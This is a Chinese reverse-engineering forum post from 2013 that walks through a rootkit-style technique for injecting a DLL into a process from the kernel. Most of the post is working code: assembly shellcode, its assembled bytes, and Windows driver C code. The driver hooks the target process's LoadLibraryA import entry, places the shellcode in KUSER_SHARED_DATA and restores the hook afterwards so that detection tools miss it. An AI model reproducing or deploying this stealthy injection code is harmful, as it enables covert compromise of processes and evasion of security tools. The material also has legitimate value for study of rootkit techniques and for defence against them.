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【原创】内核ShellCode注入的一种方法

标 题: 【原创】内核ShellCode注入的一种方法
作 者: organic
时 间: 2013-05-04,04:34:08
链 接: http://bbs.pediy.com/showthread.php?t=170959

最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下

一、先写一段shellcode
主要思路是:
1、  程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
2、  Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
3、  通过PEB找到kernel32.dll基地址
4、  调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
5、  调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
6、  跳转回LoadLibraryA继续执行
代码:
代码:
jmp  ShellCodeStart
  Addr_IAT_LoadLibraryA  dd 402000h        ;LoadLibraryA在IAT中的地址,由注入函数写入
  Addr_LoadLibraryA       dd 7C801D77h      ;LoadLibraryA的地址,由注入函数写入,在ShellCode + 2 + 4处
  Addr_VirtualProtectName  db  "VirtualProtect",0  ;VirtualProtect名称的地址
  Addr_LoadDllName    db  "InputDll.dll",0
  
  
  ShellCodeStart:
  push  ebx
  push  ecx
  push  edx
  push  esi
  push  edi
  push  ebp
  
  xor   ecx, ecx                ;查找kernel32.dll基址放入eax,xor ecx, ecx不可丢
  assume   fs:nothing
  mov    esi, fs:[30h]              ;取PEB
  mov   esi, [esi+0Ch]
  mov   esi, [esi+1Ch]
  InInitializationOrderModuleList:
  mov   eax, ds:[esi+8]
  mov   edi, ds:[esi+20h]
  mov   esi, ds:[esi]
  cmp   WORD ptr ds:[edi+18h],cx
  jnz   InInitializationOrderModuleList

  
  push  ebp
  call  RelocLocation              ;push eip,eip = 新RelocLocation的地址
  RelocLocation:
  pop    ebp                    ;将eip出栈给ebp,ebp = 新RelocLocation的地址
  sub    ebp, offset RelocLocation        ;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新旧地址的差值(参考重定位),后续需重定位的地址 = 原地址 + ebp
  
  mov    ecx, ebp                ;取Addr_VirtualProtectName重定位后的地址并压栈
  add    ecx, offset Addr_VirtualProtectName
  invoke  GetAPI, eax, ecx, 14          ;调用GetAPI获取VirtualProtect的地址
  mov    ebx, eax                ;将获取的地址放入ebx中

  mov    eax, ebp                ;取Addr_LoadDllName重定位后的地址并压栈
  add    eax, offset Addr_LoadDllName
  push  eax
  lea    esi, [ebp + Addr_LoadLibraryA]      ;取Addr_LoadLibraryA重定位后的地址,并调用LoadLibraryA
  call  DWORD ptr [esi]              ;API为stdcall调用,自平衡堆栈
  
  mov    edi, [ebp + Addr_IAT_LoadLibraryA]    ;取LoadLibraryA在IAT的地址
  push  eax                    ;随便压栈一个数,我们要用这个数的地址作为VirtualProtect的lpflOldProtect的地址,因为ShellCode的代码段不可写,只能用堆栈返回
  
  push  esp                    ;调用VirtualProtect修改IAT的写保护
  push  PAGE_READWRITE
  push  4
  push  edi
  call  ebx
  
  pop    eax
  
  mov    eax, [esi]                ;[esi] = LoadLibraryA的地址
  mov    [edi], eax                ;将LoadLibraryA在IAT的地址改为IDHookLoadLibraryA的地址
  
  pop    ebp                    ;平衡
  pop    ebp
  pop    edi
  pop    esi
  pop    edx
  pop    ecx
  pop    ebx
  
  jmp    eax                    ;跳转至LoadLibraryA继续执行
   


GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD
  local  @SizeOfFNT:DWORD
  local  @APIAddr:DWORD
  
  pushad
  
  mov    ebx, _Kernel32Base
  assume  ebx:ptr IMAGE_DOS_HEADER
  add    ebx, [ebx].e_lfanew                         ;取PE的首地址,即PE标志位
  assume  ebx:ptr IMAGE_NT_HEADERS
  mov    ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress
  add    ebx, _Kernel32Base
  
  assume  ebx:ptr IMAGE_EXPORT_DIRECTORY
  mov    eax, [ebx].NumberOfNames                      ;将函数总数乘以4,得FNT表大小
  shl    eax, 2
  mov    @SizeOfFNT, eax
  mov    edi, [ebx].AddressOfNames                      ;获取输出表API名称查询表(FNT)RVA
  add    edi, _Kernel32Base                          ;获取输出表API名称查询表(FNT)内存地址
  mov    esi, _szAPIName
  mov    ecx, _APINameLength
  xor    edx, edx
  xor    eax, eax                              ;eax置0

  .while  edx < @SizeOfFNT                          ;遍历Dll所有函数名称,当计数edx=Dll函数总数时退出循环
    
    push  ecx                                ;保存字符串长度
    push  edi                                ;保存edi,比较API名称
    push  esi
    
    mov    edi, [edi]                            ;取API名称的RVA
    add    edi, _Kernel32Base                        ;取API名称的内存地址
    cld
    repe  cmpsb
    
    pop    esi                                ;将esi重新指向_szAPIName首地址
    pop    edi
    pop    ecx
    jnz    FAA_FindExportAPIAddr_NoFind                  ;如果ecx=0,说明函数字符全部相同
    mov    eax, [ebx].AddressOfFunctions                  ;取FAT表RVA
    add    eax, _Kernel32Base                        ;取FAT表RVA内存地址
    add    eax, edx                            ;取查找函数FAT表项的地址
    mov    eax, [eax]                            ;取查找函数的RVA
    add    eax, _Kernel32Base                        ;取查找函数的内存地址
    mov    @APIAddr, eax
    .break                                  ;找到则退出循环
    
    FAA_FindExportAPIAddr_NoFind:
    add   edx, 4                              ;计数+4指向下一个FNT表项
    add    edi, 4                              ;edi指向下一个FNT表项
    
  .endw  
  
  assume  ebx:nothing
  popad
  mov    eax, @APIAddr
  ret  
最后生成的shellcode如下:
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00

二、借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》写内核,但发现采用pPeb->LoaderData->InLoadOrderModuleList遍历进程所加载模块蓝屏,于是跟了下,发现遍历已有的进程没问题,但打开我们的测试程序时就蓝屏,开WinDbg进入查看PEB发现测试程序第一次加载user32.dll时pPeb->LoaderData竟然为NULL,明显是这里引起的。所以我怀疑Windows映射user32.dll到程序时,进程Peb只进行了初始化,但未将其结构全部填充,有知道的大牛请指导指导
技术分享
  借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》失败,怎么办呢,既然Peb未填充完全,我们再去看看EPROCESS是否能行,如下图所示,EProcess->ImageFileName已正确的初始化了,于是利用EProcess->ImageFileName检查是否是我们要注入的进程,但在测试的时候发现ImageFileName处所显示的名称很诡异,有时候会显示“DllLoad.exee”,还有时候是“DllLoad.e”,但“DllLoad”始终可以正确显示的,于是就写了个CheckProcessName以进程名(不包括exe)称判断是否是我们要注入的进程,同时利用SectionBaseAddress参数获取注入进程基址。 
技术分享
代码:
代码:
//名称:HookIAT
//功能:将要Hook的IAT地址换为我们shellcode的地址,并将原IAT地址替换为shellcode中要调用的地址
//参数1:_ProcessID= 加载进程的PID
//返回:成功则返回TURE,否则返回FALSE

BOOL HookIAT(IN HANDLE _ProcessID,  IN PUNICODE_STRING _FullImageName)
{
  PEPROCESS  pEProcess;
  PVOID      hModule, pHookAPIAddr;
  BOOL      HookIAT_Ret = FALSE;

  if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS)
  {
    if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE))
    {
      KdPrint(("加载Dll=%wZ\n", _FullImageName));
      //KdPrint(("_ProcessID=%x\n", (ULONG)_ProcessID));
      //KdPrint(("pEProcess=%x\n", (ULONG)pEProcess));
      KdPrint(("进程名称=%s\n", pEProcess->ImageFileName));
      hModule = pEProcess->SectionBaseAddress;
      //KdPrint(("基地址=%x\n", (DWORD)hModule));

      KeAttachProcess(pEProcess);                            //切换至ring3空间
      
      pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME);
      
      if (pHookAPIAddr)
      {
        if(InjectCode(pHookAPIAddr))
        {
          staHookFlag = TRUE;
          KdPrint(("ShellCode注入成功"));
          //UnInjectDll();
        }
        else
        {
          KdPrint(("ShellCode注入失败"));
        }
      } 
      else
      {
        KdPrint(("%s函数的IAT地址未找到\n", HOOKAPINAME));
      }
      
      KeDetachProcess();
    }
  }

  return HookIAT_Ret;
}
接下来就是搜索我们要注入的进程的IAT,找到LoadLibraryA的地址和IAT地址
代码:
代码:
//名称:FindIATAddr
//功能:寻找指定导入表函数名称的IAT地址
//参数1:pMapView = 模块的映射基址
//参数2:pszDllName = Dll名称
//参数3:pszAPIName = 函数名称
//返回:成功则返回函数在导入表的地址,否则返回NULL
PVOID FindIATAddr(PVOID _pMapView, PCHAR  _pszDllName , PCHAR  _pszAPIName)
{
  DWORD  RVA_ImportDirectory;
  DWORD  DllNum, i, index;
  PVOID    pDllName;
  PWORD    pIAT, pINT;
  PIMAGE_IMPORT_BY_NAME pAPIName;
  IMAGE_DOS_HEADER *pImg_DosHeader;
  IMAGE_NT_HEADERS *pImg_NtHeader;
  PIMAGE_IMPORT_DESCRIPTOR pImg_ImportDirectory;
  
  pImg_DosHeader = _pMapView;
  (ULONG)pImg_NtHeader = (ULONG)pImg_DosHeader + pImg_DosHeader->e_lfanew;
  if (pImg_NtHeader->Signature != 0x4550)                    //判断是否为标准PE文件          
  {
    KdPrint(("该文件不是标准PE文件\n"));
    return  NULL;    
  }  
  
  RVA_ImportDirectory = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  DllNum = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) ;
  DllNum --;
  if (RVA_ImportDirectory ==0)
  {
    KdPrint(("该程序没有输入表\n"));
    return  NULL;
  }
  KdPrint(("Dll数目=%d \n", DllNum));

  (DWORD)pImg_ImportDirectory = (DWORD)_pMapView + RVA_ImportDirectory;
  for (i=0; i<DllNum ; i++)
  {
    (DWORD)pDllName = pImg_ImportDirectory[i].Name + (DWORD)_pMapView;
    //KdPrint(("Dll名称为%s: \n", pDllName));

    if(VK_CmpString(pDllName, _pszDllName))
    {
      KdPrint(("%s已找到, i=%d  \n", pDllName, i));
      (DWORD)pImg_ImportDirectory += i*sizeof(IMAGE_IMPORT_DESCRIPTOR);
      (DWORD)pIAT = (DWORD)_pMapView + pImg_ImportDirectory->FirstThunk;
      (DWORD)pINT =  (DWORD)_pMapView + pImg_ImportDirectory->OriginalFirstThunk;
      for (index =0; pIAT[index] != 0; index++)
      {
        if ((pINT[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)          //IMAGE_ORDINAL_FLAG =0x80000000,即当INT最高位为0时表示已函数名导入
        {
          (DWORD)pAPIName = (DWORD)_pMapView + pINT[index];
          //KdPrint(("API名称为%s: \n", pAPIName->Name));
          if (VK_CmpString((PCHAR)pAPIName->Name, _pszAPIName))
          {
            KdPrint(("%s函数已找到,IAT地址 =%x \n", pAPIName, &pIAT[index] ));
            return  &pIAT[index];
          }
        }
      }
    }
  }
  return NULL;
}
然后注入我们的shellcode,原《rootkit之[七]IAT Hook -- HybridHook之终极打造》中只Hook了GetProcAddress,未对其写回,所以只修改了shellcode中GetProcAddress的地址,由于我们内核注入Dll为了隐蔽,不能让工具或程序检测到我们IAT注入,所以我们这里也要将LoadLibraryA的IAT地址写入shellcode,再由shellcode将注入进程的IAT恢复,这样进程运行起来后就不知道被注入过了。
代码
代码:
//名称:InjectCode
//功能:注入代码
//参数1:_pIATAddr = 函数在导入表的地址,将此处改写为我们注入代码的地址
//返回:成功则返回STATUS_SUCCESS,否则返回STATUS_UNSUCCESSFUL

BOOL InjectCode(PVOID _pIATAddr)
{
  PMDL  pMDL;
  PDWORD pHookAddr;
  DWORD Addr_sharedM = 0x7ffe0800;        //KUSER_SHARED_DATA在ring3的地址 + ShellCode的偏移    
  DWORD Addr_sharedK = 0xffdf0800;         //KUSER_SHARED_DATA在ring0的地址 + ShellCode的偏移
  unsigned char Shellcode[] = {
    0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C
    ,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E
    ,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E
    ,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50
    ,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08
    ,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2
    ,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45
    ,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00 }; 
  
  KdPrint(("_pIATAddr = %x\n",  (DWORD)_pIATAddr ));
  pMDL = MmCreateMdl(NULL, _pIATAddr, 4);
  if (!pMDL)
  {
    KdPrint(("创建MDL失败\n"));
    return  FALSE;
  }
  MmBuildMdlForNonPagedPool(pMDL);
  pMDL->MdlFlags = pMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  pHookAddr = MmMapLockedPages(pMDL, KernelMode);
  //_asm int 3

  RtlCopyMemory((PVOID)Addr_sharedK, Shellcode, 249);
  _asm                                                         //将LoadLibraryA输出表地址地址和LoadLibraryA地址写入ShellCode中
  {
    pushad
    
    mov    eax, _pIATAddr
    mov    edx, Addr_sharedK
    add    edx, 2
    mov    [edx], eax
    mov    eax, [eax]
    add    edx, 4
    mov    [edx], eax

    popad
  }
  //RtlCopyMemory((PVOID)(Addr_sharedK +5), _pIATAddr, 4);                    
  *pHookAddr = Addr_sharedM;                                    //将LoadLibraryA输出表地址改为0x7ffe0800(ShellCode地址)
  
  MmUnmapLockedPages(pHookAddr, pMDL);
  IoFreeMdl(pMDL);

  return  TRUE;
}

最后再附上一个解除LoadImageNotifyRoutine的代码,《rootkit之[七]IAT Hook -- HybridHook之终极打造》中稍微复杂,但可兼容window2000,这里我们直接调用PsRemoveLoadImageNotifyRoutine
代码:
//名称:UnInjectDll
//功能:PsSetLoadImageNotifyRoutine的回调函数,
//参数1:无
//返回:无
NTSTATUS UnInjectDll()
{
  NTSTATUS  RetStatus;

  RetStatus = PsRemoveLoadImageNotifyRoutine(CallImageNotifyRoutines);
  if (RetStatus == STATUS_SUCCESS)
  {
    KdPrint(("回调函数已解除\n"));
  }
  return  RetStatus;
}
程序运行效果如下:
未注入前按下Test按钮:
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注入后按下Test按钮: 
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最后发现用这个方法注入后会产生了3个LoadDll.exe进程,且其中2个在任务管理器中不能关闭,原因不明,有知道的烦请告诉我下
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源码和测试程序:源码和测试程序.zip.
测试方法,用工具加载InjectDll,然后运行DllLoad,点击Test按钮*转载请注明来自看雪论坛@PEdiy.com
 
jpg改rar 技术分享

【原创】内核ShellCode注入的一种方法